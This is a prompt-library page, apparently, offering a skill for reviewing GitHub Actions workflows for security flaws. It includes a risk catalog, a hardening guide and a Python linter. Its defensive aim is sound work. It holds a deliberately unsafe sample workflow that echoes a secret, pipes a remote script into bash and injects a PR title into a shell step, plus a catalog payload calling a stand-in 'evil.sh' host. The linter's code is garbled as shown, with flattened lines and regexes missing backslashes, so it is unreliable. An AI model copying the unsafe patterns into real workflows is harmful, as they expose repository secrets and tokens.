Easy Prompt
写作生成文字进阶

GitHub Actions Workflow Security Reviewer

来自 prompts.chat 的提示词:GitHub Actions Workflow Security Reviewer

提示词正文

复制后可直接粘贴到模型或内部评测工具。


name: github-actions-workflow-security-reviewer description: Reviews GitHub Actions workflow YAML for supply-chain and injection risks: pull_request_target with PR checkout, untrusted github.event text in run steps, actions pinned to tags or branches instead of commit SHAs, missing or write-all permissions, secrets in shell commands, curl | bash, self-hosted runners on PRs, and missing timeouts. Use before merging CI changes or auditing a repo. Includes a stdlib Python linter with --self-test.

GitHub Actions Workflow Security Reviewer

You help maintainers find and fix security problems in .github/workflows/*.yml before an attacker does. You read each workflow the way a malicious fork, issue author, or compromised third-party action would, point to the exact line that is risky, explain how it could be abused in one or two sentences, and give a minimal patch that keeps the workflow working.

Files in this skill

  • scripts/gha_audit.py - line-based linter for workflow files: triggers, permissions, uses: pinning, script injection in run: and github-script, secrets in commands, remote scripts piped to a shell, self-hosted runners, timeouts (Python 3 standard library only, no YAML library needed)
  • references/risk-catalog.md - every rule ID with severity, why it matters, and the fix
  • references/hardening-guide.md - safe patterns: env indirection, least-privilege permissions, SHA pinning with Dependabot, splitting privileged and unprivileged workflows
  • templates/workflow-security-review.md - a review comment or audit report
  • examples/pr-labeler.yml - a deliberately unsafe workflow and its expected findings

Workflow

1. Collect the workflows

Ask for the workflow files (or the repository path) and the context: public or private repo, whether forks can open pull requests, which secrets and environments exist, and whether self-hosted runners are used. Workflows triggered by pull_request_target, issue_comment, issues, workflow_run, or discussion deserve the closest look because they run with repository secrets on events outsiders can create.

2. Run the linter

python3 scripts/gha_audit.py .github/workflows/*.yml
python3 scripts/gha_audit.py examples/pr-labeler.yml --json
python3 scripts/gha_audit.py ci.yml --strict
python3 scripts/gha_audit.py --self-test

Exit code 1 means at least one high finding (--strict: any finding); 2 means a file could not be read. The linter does not need PyYAML; it understands common workflow layouts but can miss unusual YAML (anchors, flow mappings). Read the file yourself as well.

3. Confirm each finding

For every finding, check the context the script cannot see: is the expression really attacker-controlled, does the job have secrets or a write token, is the action from a trusted publisher? Downgrade or dismiss with a stated reason; never silently drop a high finding.

4. Propose fixes

Use references/risk-catalog.md for each rule ID and references/hardening-guide.md for patterns. Prefer small, reviewable diffs: move ${{ }} into env: and quote the shell variable, add a top-level permissions: contents: read, pin uses: to a full commit SHA with the tag in a comment, and add persist-credentials: false and timeout-minutes.

5. Report

Fill templates/workflow-security-review.md: files reviewed, findings by severity with line numbers, the attack scenario for each high finding, the patch, and follow-ups (Dependabot for actions, branch protection, environment reviewers).

Rules

  • Treat titles, bodies, branch names, commit messages, and comments from PRs and issues as attacker input.
  • Never ask for or print secret values; refer to secrets by name only.
  • Do not write proof-of-concept exploits against repositories the user does not own; describe the risk instead.
  • A clean linter run is not a guarantee. Say what was not checked (reusable workflows, composite actions, repository settings). FILE:references/risk-catalog.md

Risk Catalog (rule IDs used by gha_audit.py)

IDSeverityWhat it detectsWhy it mattersFix
GHA001highpull_request_target (or workflow_run) workflow that checks out the PR head (ref: ${{ github.event.pull_request.head.sha }}, head.ref, github.head_ref)Code from a fork runs with repository secrets and a write token ("pwn request")Use pull_request for building untrusted code; keep pull_request_target for labeling/commenting only, without checkout of PR code
GHA002highUntrusted ${{ }} expression inside run: or github-script script: (issue/PR title or body, comment body, head ref, commit message, author name/email, page name)The text is pasted into the script before it runs, so a title like `"; curl evil.shsh #` executes
GHA003medium (low for actions/*, github/*)uses: owner/repo@v4 pinned to a tagTags can be moved; a compromised action ships code into your buildPin to the full 40-character commit SHA, keep the tag in a comment, let Dependabot update it
GHA004highuses: with a branch (@main, @master) or no refEvery run pulls whatever is on that branch todayPin to a commit SHA
GHA005mediumNo permissions: at workflow level and not on every jobThe GITHUB_TOKEN gets the repository default, often read/write on everythingAdd permissions: contents: read at the top and grant more per job
GHA006highpermissions: write-allEvery scope can be written by any stepList only the scopes needed
GHA007high / medium${{ secrets.X }} inside a run: command (high when echoed or printed)Secrets end up in shell history, process lists, logs, or injected textMap the secret to env: and read $X; never echo it
GHA008mediumcurl ... | bash or wget ... | shRuns unverified remote code with the job's token and secretsDownload, verify a checksum or signature, then run; or use a pinned action
GHA009mediumself-hosted runner in a workflow triggered by pull_request or pull_request_targetFork code can persist on the machine and attack later jobsUse GitHub-hosted or ephemeral runners for PRs; require approval for outside contributors
GHA010highACTIONS_ALLOW_UNSECURE_COMMANDS: trueRe-enables deprecated set-env/add-path, which log output can triggerRemove it; write to $GITHUB_ENV and $GITHUB_PATH
GHA011lowactions/checkout without persist-credentials: falseThe token stays in .git/config for every later step and any uploaded artifactAdd persist-credentials: false unless a later step pushes
GHA012lowJob without timeout-minutesA hung or abused job can run for 6 hours on your minutesAdd a realistic timeout (e.g. 15-30)
GHA013lowdocker://image:tag without @sha256: digestImage tags are mutablePin docker://image@sha256:<digest>
GHA014mediumworkflow_run workflow using actions/download-artifactArtifacts from a fork-triggered run are attacker-controlledTreat artifact contents as data: validate, never execute; avoid extracting into the workspace

Severity guide

  • high: an outsider can likely run code with secrets or a write token, or a mutable reference controls the build.
  • medium: hardening gap that makes a compromise easier or bigger.
  • low: good practice; fix when touching the file. FILE:references/hardening-guide.md

Hardening Guide

1. Pass untrusted text through env, not expressions

# unsafe
- run: echo "Title: ${{ github.event.pull_request.title }}"
# safe
- env:
    PR_TITLE: ${{ github.event.pull_request.title }}
  run: echo "Title: $PR_TITLE"

Always double-quote the variable. In actions/github-script, read context.payload.pull_request.title in JavaScript instead of interpolating ${{ }} into the script.

2. Least-privilege token

permissions:
  contents: read          # workflow default
jobs:
  label:
    permissions:
      pull-requests: write  # only this job can label

Also set the repository default to read-only (Settings > Actions > General > Workflow permissions).

3. Pin actions to commit SHAs

- uses: actions/checkout@08eba0b27e820071cde6df949e0beb9ba4906955 # v4.3.0

Enable Dependabot for the github-actions ecosystem so pins get update PRs with changelogs. Prefer actions from verified publishers and read the source of small third-party actions before adopting them.

4. Split privileged and unprivileged work

  • pull_request workflow: builds and tests fork code with no secrets and a read-only token; uploads results as an artifact.
  • workflow_run workflow: runs after it with secrets, downloads the artifact, treats it as untrusted data (parse JSON, never execute), and posts the comment or label.

5. Checkout and credentials

  • persist-credentials: false on actions/checkout unless the job pushes.
  • Never check out PR code in pull_request_target; if you must (e.g. a labeler reading config), check out the base branch only.

6. Runners and limits

  • Self-hosted runners: private repositories only, or ephemeral (one job per VM) with no network access to internal systems.
  • timeout-minutes on every job; concurrency groups for deploys.

7. Secrets and environments

  • Put deploy credentials in an environment with required reviewers and branch rules.
  • Prefer OIDC (id-token: write) to long-lived cloud keys.
  • Mask derived values with ::add-mask:: before printing anything secret-like.

Review checklist

  1. Which triggers can outsiders fire?
  2. What can the token write, and which secrets are reachable from those triggers?
  3. Is any attacker-controlled text interpolated into a script?
  4. Is every uses: pinned to a SHA?
  5. Is any remote code executed without verification? FILE:templates/workflow-security-review.md

GitHub Actions Security Review - <repository>

Date: <YYYY-MM-DD> Reviewer: <name> Files: <.github/workflows/...> Repo visibility: <public/private> Fork PRs allowed: <yes/no> Self-hosted runners: <yes/no> Linter: gha_audit.py -> <n> high, <n> medium, <n> low

High findings

RuleFile:lineProblemAttack scenarioFix

Medium and low findings

RuleFile:lineProblemFix

Dismissed findings

  • <rule, file:line> - <reason it is not exploitable here>

Proposed patch

<minimal diff>

Not covered by this review

  • Reusable workflows and composite actions called from these files
  • Repository and organization settings (default token permissions, fork PR approval, environments)

Follow-ups

  • Enable Dependabot for github-actions
  • Set default workflow permissions to read-only
  • Require reviewers on the production environment FILE:examples/pr-labeler.yml

Deliberately unsafe example for gha_audit.py. Expected findings (line numbers in this file):

GHA001 high line 21 - pull_request_target checks out the PR head

GHA002 high line 24 - PR title pasted into run (script injection)

GHA007 high line 25 - secret echoed in run

GHA004 high line 27 - third-party action on @main

GHA005 medium line 1 - no permissions block at workflow or job level

GHA008 medium line 26 - curl piped to bash

GHA012 low line 16 - job without timeout-minutes

GHA003 low line 19 - actions/checkout@v4 pinned to a tag

GHA011 low line 19 - checkout without persist-credentials: false

name: PR labeler on: pull_request_target: types: [opened, synchronize] jobs: label: runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 with: ref: ${{ github.event.pull_request.head.sha }} - name: Greet run: | echo "Thanks for: ${{ github.event.pull_request.title }}" echo "token=${{ secrets.LABEL_TOKEN }}" curl -sSL https://example.com/install.sh | bash - uses: someorg/auto-labeler@main FILE:scripts/gha_audit.py #!/usr/bin/env python3 """GitHub Actions workflow security linter (Python 3 standard library only, no YAML library).

Reads workflow files line by line, tracking indentation, and reports risky patterns with rule IDs (see references/risk-catalog.md): GHA001 pull_request_target/workflow_run + checkout of PR head high GHA002 untrusted ${{ github.event.* }} text inside run:/script: high GHA003 uses: pinned to a tag instead of a commit SHA medium (low for actions/, github/) GHA004 uses: on a branch (@main/@master) or without a ref high GHA005 no permissions at workflow level or on every job medium GHA006 permissions: write-all high GHA007 ${{ secrets.* }} inside run: (high when echoed/printed) high/medium GHA008 curl/wget piped to a shell medium GHA009 self-hosted runner on pull_request(_target) medium GHA010 ACTIONS_ALLOW_UNSECURE_COMMANDS enabled high GHA011 actions/checkout without persist-credentials: false low GHA012 job without timeout-minutes low GHA013 docker:// image without @sha256 digest low GHA014 workflow_run + actions/download-artifact medium

Usage: python3 gha_audit.py .github/workflows/*.yml python3 gha_audit.py ci.yml --json python3 gha_audit.py ci.yml --strict # exit 1 on any finding python3 gha_audit.py --self-test Exit code: 0 no high findings, 1 high findings (or any with --strict), 2 unreadable file. """ import argparse import json import re import sys

SEV_ORDER = {"high": 0, "medium": 1, "low": 2} TRUSTED_OWNERS = {"actions", "github"} BRANCH_REFS = {"main", "master", "dev", "develop", "trunk", "head", "latest"} UNTRUSTED_EXPR = re.compile( r"github.head_ref" r"|github.event.[\w.[]'"-]?\b(title|body|message|page_name|email|head_branch|default_branch|label)\b" r"|github.event.[\w.[]'"-]?head.ref\b" r"|github.event.[\w.[]'"-]?author.name\b" ) EXPR = re.compile(r"${{(.?)}}") SECRET_EXPR = re.compile(r"${{\ssecrets.([A-Za-z0-9_]+)\s*}}") PR_HEAD_REF = re.compile(r"ref:\s*['"]?${{\s*(github.event.pull_request.head.(sha|ref)|github.head_ref|github.event.workflow_run.head_(sha|branch))\s*}}") PIPE_SHELL = re.compile(r"\b(curl|wget)\b[^|\n]|\s(sudo\s+)?(-E\s+)?(ba|z|da)?sh\b") PRINT_CMD = re.compile(r"\b(echo|printf|cat|tee|print)\b") SHA40 = re.compile(r"^[0-9a-f]{40}$")

def strip_comment(line): """Remove a trailing YAML comment (a # preceded by whitespace, outside quotes).""" out, q = [], None for i, ch in enumerate(line): if q: if ch == q: q = None elif ch in "'"": q = ch elif ch == "#" and (i == 0 or line[i - 1] in " \t"): break out.append(ch) return "".join(out).rstrip()

def indent_of(s): return len(s) - len(s.lstrip(" "))

def parse_lines(text): """Return a list of (lineno, indent, content) for non-empty, non-comment lines.""" rows = [] for n, raw in enumerate(text.splitlines(), 1): s = strip_comment(raw.replace("\t", " ")) if s.strip(): rows.append((n, indent_of(s), s.strip())) return rows

def block_end(rows, i): """Index after the block owned by rows[i] (all following rows indented deeper).""" ind = rows[i][1] j = i + 1 while j < len(rows) and rows[j][1] > ind: j += 1 return j

def key_of(content): c = content[2:].lstrip() if content.startswith("- ") else content m = re.match(r"^['"]?([A-Za-z0-9_-]+)['"]?\s*:(\s|$)", c) return (m.group(1), c[m.end():].strip()) if m else (None, None)

def triggers(rows): trig = set() for i, (n, ind, c) in enumerate(rows): k, v = key_of(c) if ind == 0 and k in ("on", "true"): if v: trig.update(re.findall(r"[a-z_]+", v)) else: end = block_end(rows, i) child = min((rows[j][1] for j in range(i + 1, end)), default=None) for j in range(i + 1, end): if rows[j][1] == child: ck, _ = key_of(rows[j][2]) if ck: trig.add(ck) elif rows[j][2].startswith("- "): trig.add(rows[j][2][2:].strip()) return trig

def audit_text(text, path="workflow.yml"): rows = parse_lines(text) findings = []

def add(rule, sev, line, msg):
    findings.append({"file": path, "line": line, "rule": rule, "severity": sev, "message": msg})

trig = triggers(rows)
privileged = trig & {"pull_request_target", "workflow_run"}
pr_triggers = trig & {"pull_request", "pull_request_target"}

top_perm = None
jobs_idx = None
for i, (n, ind, c) in enumerate(rows):
    k, v = key_of(c)
    if ind == 0 and k == "permissions":
        top_perm = (n, v)
    if ind == 0 and k == "jobs":
        jobs_idx = i
if top_perm and top_perm[1].strip("'\"") == "write-all":
    add("GHA006", "high", top_perm[0], "permissions: write-all gives every step write access to all scopes")

# jobs
jobs = []
if jobs_idx is not None:
    end = block_end(rows, jobs_idx)
    child = min((rows[j][1] for j in range(jobs_idx + 1, end)), default=None)
    for j in range(jobs_idx + 1, end):
        if rows[j][1] == child and key_of(rows[j][2])[0]:
            jobs.append((j, block_end(rows, j)))
jobs_with_perm = 0
for (js, je) in jobs:
    jname = key_of(rows[js][2])[0]
    jind = rows[js][1]
    direct = [r for r in rows[js + 1:je] if r[1] == min(x[1] for x in rows[js + 1:je])] if je > js + 1 else []
    dkeys = {key_of(r[2])[0]: r for r in direct}
    if "permissions" in dkeys:
        jobs_with_perm += 1
        if dkeys["permissions"][2].split(":", 1)[1].strip().strip("'\"") == "write-all":
            add("GHA006", "high", dkeys["permissions"][0], f"job '{jname}' uses permissions: write-all")
    if "timeout-minutes" not in dkeys and "uses" not in dkeys:
        add("GHA012", "low", rows[js][0], f"job '{jname}' has no timeout-minutes (default is 360)")
    if "runs-on" in dkeys:
        ro_i = rows.index(dkeys["runs-on"])
        ro_text = " ".join(r[2] for r in rows[ro_i:block_end(rows, ro_i)])
        if "self-hosted" in ro_text and pr_triggers:
            add("GHA009", "medium", dkeys["runs-on"][0], f"job '{jname}' runs pull request code on a self-hosted runner")
if top_perm is None and (not jobs or jobs_with_perm < len(jobs)):
    add("GHA005", "medium", 1, "no permissions block at workflow level (and not on every job); GITHUB_TOKEN gets the repo default")

# line-level checks
i = 0
while i < len(rows):
    n, ind, c = rows[i]
    k, v = key_of(c)
    if k in ("run", "script"):
        end = block_end(rows, i)
        body = [(n, v)] if v and v not in ("|", ">", "|-", ">-", "|+", ">+") else []
        body += [(r[0], r[2]) for r in rows[i + 1:end]]
        for bn, bt in body:
            for m in EXPR.finditer(bt):
                expr = m.group(1).strip()
                if UNTRUSTED_EXPR.search(expr):
                    add("GHA002", "high", bn, f"untrusted expression ${{{{ {expr} }}}} is pasted into {k}: (script injection); pass it via env")
            for m in SECRET_EXPR.finditer(bt):
                if PRINT_CMD.search(bt):
                    add("GHA007", "high", bn, f"secret {m.group(1)} is printed in {k}:")
                else:
                    add("GHA007", "medium", bn, f"secret {m.group(1)} is interpolated into {k}:; map it to env instead")
            if k == "run" and PIPE_SHELL.search(bt):
                add("GHA008", "medium", bn, "remote script piped straight into a shell")
        i = end
        continue
    if k == "uses":
        ref = v.strip("'\"")
        if ref.startswith("./"):
            pass
        elif ref.startswith("docker://"):
            if "@sha256:" not in ref:
                add("GHA013", "low", n, f"{ref} is not pinned to an image digest")
        else:
            name, _, at = ref.partition("@")
            owner = name.split("/")[0].lower()
            if not at or at.lower() in BRANCH_REFS:
                add("GHA004", "high", n, f"{ref or name} follows a branch or has no ref; pin to a commit SHA")
            elif not SHA40.match(at):
                sev = "low" if owner in TRUSTED_OWNERS else "medium"
                add("GHA003", sev, n, f"{ref} is pinned to a tag, not a full commit SHA")
            if name.lower().startswith("actions/checkout"):
                # the step block: siblings at this indent (after '- ') and deeper
                step_ind = ind + 2 if c.startswith("- ") else ind
                j = i + 1
                j0 = i
                while j0 > 0 and not rows[j0][2].startswith("- ") and rows[j0][1] >= step_ind:
                    j0 -= 1
                while j < len(rows) and rows[j][1] >= step_ind and not (rows[j][1] == step_ind - 2 and rows[j][2].startswith("- ")):
                    j += 1
                step = " ".join(r[2] for r in rows[j0:j])
                if not re.search(r"persist-credentials:\s*['\"]?false", step):
                    add("GHA011", "low", n, "actions/checkout keeps the token in .git/config; add persist-credentials: false")
            if name.lower().startswith("actions/download-artifact") and "workflow_run" in trig:
                add("GHA014", "medium", n, "artifact from a workflow_run may be attacker-controlled; treat as data")
    if privileged and PR_HEAD_REF.search(c):
        add("GHA001", "high", n, f"{'/'.join(sorted(privileged))} workflow checks out untrusted PR code with secrets available")
    if re.search(r"ACTIONS_ALLOW_UNSECURE_COMMANDS\s*:\s*['\"]?true", c, re.I):
        add("GHA010", "high", n, "ACTIONS_ALLOW_UNSECURE_COMMANDS re-enables set-env/add-path")
    i += 1

findings.sort(key=lambda f: (f["file"], SEV_ORDER[f["severity"]], f["line"], f["rule"]))
return {"file": path, "triggers": sorted(trig), "jobs": len(jobs), "findings": findings}

def to_markdown(results): out = ["# GitHub Actions security audit", ""] tot = {"high": 0, "medium": 0, "low": 0} for r in results: for f in r["findings"]: tot[f["severity"]] += 1 out.append(f"Files: {len(results)} Findings: {tot['high']} high, {tot['medium']} medium, {tot['low']} low") for r in results: out += ["", f"## {r['file']}", f"Triggers: {', '.join(r['triggers']) or 'none found'}; jobs: {r['jobs']}", ""] if not r["findings"]: out.append("No findings.") continue out += ["| Severity | Rule | Line | Finding |", "|---|---|---|---|"] for f in r["findings"]: msg = f["message"].replace("|", "\|") out.append(f"| {f['severity']} | {f['rule']} | {f['line']} | {msg} |") return "\n".join(out)

SAFE = """name: CI on: pull_request: permissions: contents: read jobs: test: runs-on: ubuntu-latest timeout-minutes: 15 steps: - uses: actions/checkout@08eba0b27e820071cde6df949e0beb9ba4906955 # v4.3.0 with: persist-credentials: false - name: Test env: PR_TITLE: ${{ github.event.pull_request.title }} run: | echo "Testing $PR_TITLE" make test """

def self_test(): cases = []

def ok(name, cond):
    cases.append((name, bool(cond)))

def rules(text):
    return [(f["rule"], f["severity"]) for f in audit_text(text)["findings"]]

ok("safe workflow has no findings", rules(SAFE) == [])
ok("triggers parsed from block", audit_text(SAFE)["triggers"] == ["pull_request"])
ok("triggers parsed from list", audit_text("on: [push, pull_request]\njobs: {}\n")["triggers"] == ["pull_request", "push"])
inj = SAFE.replace('echo "Testing $PR_TITLE"', 'echo "${{ github.event.pull_request.title }}"')
ok("title in run is GHA002 high", ("GHA002", "high") in rules(inj))
ok("head_ref in run is GHA002", ("GHA002", "high") in rules(SAFE.replace("make test", "git push origin ${{ github.head_ref }}")))
ok("comment body in github-script", ("GHA002", "high") in rules(SAFE.replace("run: |", "script: |")
                                                                  .replace("make test", "core.info('${{ github.event.comment.body }}')")))
ok("env indirection is not flagged", not any(r == "GHA002" for r, _ in rules(SAFE)))
ok("PR number is safe", rules(SAFE.replace("make test", "echo ${{ github.event.pull_request.number }}")) == [])
ok("tag pin on actions/* is GHA003 low", ("GHA003", "low") in rules(SAFE.replace("@08eba0b27e820071cde6df949e0beb9ba4906955", "@v4")))
ok("tag pin third party is medium", ("GHA003", "medium") in rules(SAFE.replace("actions/checkout@08eba0b27e820071cde6df949e0beb9ba4906955", "acme/checkout@v1")))
ok("branch pin is GHA004 high", ("GHA004", "high") in rules(SAFE.replace("@08eba0b27e820071cde6df949e0beb9ba4906955", "@main")))
ok("local action not flagged", rules(SAFE.replace("actions/checkout@08eba0b27e820071cde6df949e0beb9ba4906955", "./.github/actions/setup")) == [])
ok("missing permissions is GHA005", ("GHA005", "medium") in rules(SAFE.replace("permissions:\n  contents: read\n", "")))
ok("job-level permissions satisfy GHA005", rules(SAFE.replace("permissions:\n  contents: read\n", "").replace("    timeout-minutes: 15\n", "    timeout-minutes: 15\n    permissions:\n      contents: read\n")) == [])
ok("write-all is GHA006", ("GHA006", "high") in rules(SAFE.replace("permissions:\n  contents: read", "permissions: write-all")))
ok("echoed secret is GHA007 high", ("GHA007", "high") in rules(SAFE.replace("make test", "echo ${{ secrets.NPM_TOKEN }}")))
ok("inline secret is GHA007 medium", ("GHA007", "medium") in rules(SAFE.replace("make test", "npm publish --token ${{ secrets.NPM_TOKEN }}")))
ok("curl | bash is GHA008", ("GHA008", "medium") in rules(SAFE.replace("make test", "curl -fsSL https://x.sh | sudo bash")))
ok("self-hosted on PR is GHA009", ("GHA009", "medium") in rules(SAFE.replace("ubuntu-latest", "[self-hosted, linux]")))
ok("self-hosted on push is fine", rules(SAFE.replace("pull_request:", "push:").replace("ubuntu-latest", "self-hosted")) == [])
ok("unsecure commands is GHA010", ("GHA010", "high") in rules(SAFE.replace("PR_TITLE: ${{ github.event.pull_request.title }}", "ACTIONS_ALLOW_UNSECURE_COMMANDS: true")))
ok("checkout without persist-credentials is GHA011", ("GHA011", "low") in rules(SAFE.replace("        with:\n          persist-credentials: false\n", "")))
ok("missing timeout is GHA012", ("GHA012", "low") in rules(SAFE.replace("    timeout-minutes: 15\n", "")))
ok("docker tag is GHA013", ("GHA013", "low") in rules(SAFE.replace("actions/checkout@08eba0b27e820071cde6df949e0beb9ba4906955 # v4.3.0", "docker://alpine:3.20")))
prt = SAFE.replace("pull_request:", "pull_request_target:").replace("persist-credentials: false", "persist-credentials: false\n          ref: ${{ github.event.pull_request.head.sha }}")
ok("pull_request_target + head checkout is GHA001", ("GHA001", "high") in rules(prt))
ok("pull_request + head checkout is not GHA001", not any(r == "GHA001" for r, _ in rules(SAFE.replace("persist-credentials: false", "persist-credentials: false\n          ref: ${{ github.event.pull_request.head.sha }}"))))
wr = SAFE.replace("pull_request:", "workflow_run:\n    workflows: [CI]").replace("      - name: Test", "      - uses: actions/download-artifact@634f93cb2916e3fdff6788551b99b062d0335ce0 # v5\n      - name: Test")
ok("workflow_run + download-artifact is GHA014", ("GHA014", "medium") in rules(wr))
ok("comment with # in string kept", strip_comment('run: echo "a # b" # note') == 'run: echo "a # b"')
md = to_markdown([audit_text(inj, "ci.yml")])
ok("markdown lists file and rule", "## ci.yml" in md and "GHA002" in md)
passed = sum(c for _, c in cases)
for name, c in cases:
    print(("PASS " if c else "FAIL ") + name)
print(f"{passed}/{len(cases)} passed")
return 0 if passed == len(cases) else 1

def main(argv=None): ap = argparse.ArgumentParser(description="Lint GitHub Actions workflow files for security risks.") ap.add_argument("files", nargs="*", help="workflow .yml files ('-' for stdin)") ap.add_argument("--json", action="store_true") ap.add_argument("--strict", action="store_true", help="exit 1 on any finding") ap.add_argument("--self-test", action="store_true") a = ap.parse_args(argv) if a.self_test: return self_test() if not a.files: ap.error("at least one workflow file required (or --self-test)") results = [] for p in a.files: try: text = sys.stdin.read() if p == "-" else open(p, encoding="utf-8").read() except OSError as e: print(f"error: {e}", file=sys.stderr) return 2 results.append(audit_text(text, p)) print(json.dumps(results, indent=2) if a.json else to_markdown(results)) allf = [f for r in results for f in r["findings"]] if any(f["severity"] == "high" for f in allf) or (a.strict and allf): return 1 return 0

if name == "main": sys.exit(main())

使用场景

同步入库后可继续人工润色

参考输出

暂无标准答案,建议按评分维度人工评审。

评分维度

重点评估可执行性、事实准确性、边界控制和结构完整度。

试用与模板

填写变量后复制,或保存到个人工作台模板。

填写变量后复制

用户评分

0 个评分
-

你的评分

登录后评分

评论

0

登录后评论

相关提示词